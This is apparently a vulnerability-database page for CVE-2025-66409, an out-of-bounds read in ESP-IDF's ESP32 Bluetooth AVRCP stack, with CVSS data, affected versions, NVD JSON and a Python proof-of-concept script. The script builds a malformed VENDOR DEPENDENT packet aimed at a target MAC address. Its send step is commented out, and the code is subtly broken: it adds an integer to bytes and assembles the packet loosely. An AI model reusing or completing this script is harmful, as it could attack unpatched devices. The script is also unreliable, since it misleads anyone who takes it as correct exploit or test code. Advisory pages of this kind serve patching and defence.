Security Vulnerability Report
中文
CVE-2025-66409 CVSS 9.1 CRITICAL

CVE-2025-66409

Published: 2025-12-02 19:15:52
Last Modified: 2026-02-13 16:12:31

Description

ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, when AVRCP is enabled on ESP32, receiving a malformed VENDOR DEPENDENT command from a peer device can cause the Bluetooth stack to access memory before validating the command buffer length. This may lead to an out-of-bounds read, potentially exposing unintended memory content or causing unexpected behavior.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:* - VULNERABLE
ESP-IDF 5.5.1 及更早版本
ESP-IDF 5.4.3 及更早版本
ESP-IDF 5.3.4 及更早版本
ESP-IDF 5.2.6 及更早版本
ESP-IDF 5.1.6 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66409 PoC - ESP-IDF ESP32 AVRCP Out-of-Bounds Read Note: This is a conceptual PoC for research purposes only. """ import struct import socket import sys def create_malformed_avrcp_packet(): """ Create a malformed AVRCP VENDOR DEPENDENT command packet to trigger OOB read in ESP32 Bluetooth stack """ # AVRCP packet structure pkt_type = 0x00 # Vendor Dependent command subunit_type = 0x09 # Panel subunit_id = 0x00 opcode = 0x7C # Vendor Dependent # Company ID (Bluetooth SIG assigned for Espressif) company_id = b'\x00\x19\x5D' # Espressif # Malformed vendor data - intentionally inconsistent length # This triggers the OOB read when stack doesn't validate properly malformed_data = b'\xFF' * 512 # Excessive data length # Build the AVRCP command header = struct.pack('>BBB', subunit_type << 3 | subunit_id, opcode, 0x00) vendor_data = company_id + malformed_data # Set incorrect length in parameter length field param_length = struct.pack('>H', 10) # Declared length < actual data packet = pkt_type + header + param_length + vendor_data return packet def send_bluetooth_packet(target_mac, packet): """ Send malformed packet to target ESP32 device via Bluetooth Requires btproxy or similar tool for actual exploitation """ print(f"[*] Target MAC: {target_mac}") print(f"[*] Packet length: {len(packet)} bytes") print(f"[*] Sending malformed AVRCP VENDOR DEPENDENT command...") # Actual implementation would use Bluetooth socket # bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) # bt_socket.connect((target_mac, 0x17)) # AVRCP PSM return True def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_esp32_mac>") print(f"Example: {sys.argv[0]} AA:BB:CC:DD:EE:FF") sys.exit(1) target_mac = sys.argv[1] packet = create_malformed_avrcp_packet() print("=" * 60) print("CVE-2025-66409 PoC - ESP-IDF ESP32 AVRCP OOB Read") print("=" * 60) send_bluetooth_packet(target_mac, packet) print("[*] Packet sent. Monitor for memory leak or crash.") print("[!] Use responsibly and only on authorized systems.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66409", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:52.133", "lastModified": "2026-02-13T16:12:30.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, when AVRCP is enabled on ESP32, receiving a malformed VENDOR DEPENDENT command from a peer device can cause the Bluetooth stack to access memory before validating the command buffer length. This may lead to an out-of-bounds read, potentially exposing unintended memory content or causing unexpected behavior."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.1.6", "matchCriteriaId": "70270069-0907-4602-AE69-14DBD2EF57C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndIncluding": "5.2.6", "matchCriteriaId": "9BBFEBA5-6310-4771-844C-A42B4934C924"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3", "versionEndIncluding": "5.3.4", "matchCriteriaId": "500CB646-D9C2-40F0-9575-285A0A11FD73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4", "versionEndIncluding": "5.4.3", "matchCriteriaId": "6D835991-A34A-49E5-9788-D801B7B8D8F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndIncluding": "5.5.1", "matchCriteriaId": "12DC6F0D-171B-4FF3-9585-1C2110374715"}]}]}], "references": [{"url": "https://github.com/espressif/esp-idf/commit/075ed218cadb8088155521cd8a795d8a626519fb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/2f788e59ee361eee230879ae2ec9cf5c893fe372", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/798029129a71c802cff0e75eb59f902bca8f1946", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/999710fccf95ae128fe51b5679d6b7c75c50d902", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/d5db5f60fc1dcfdd8cd3ee898fdefaa272988ace", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/daeeba230327176b9627b1caa94acdc54065c4b7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/security/advisories/GHSA-qhf9-vr2h-jh96 ... (truncated)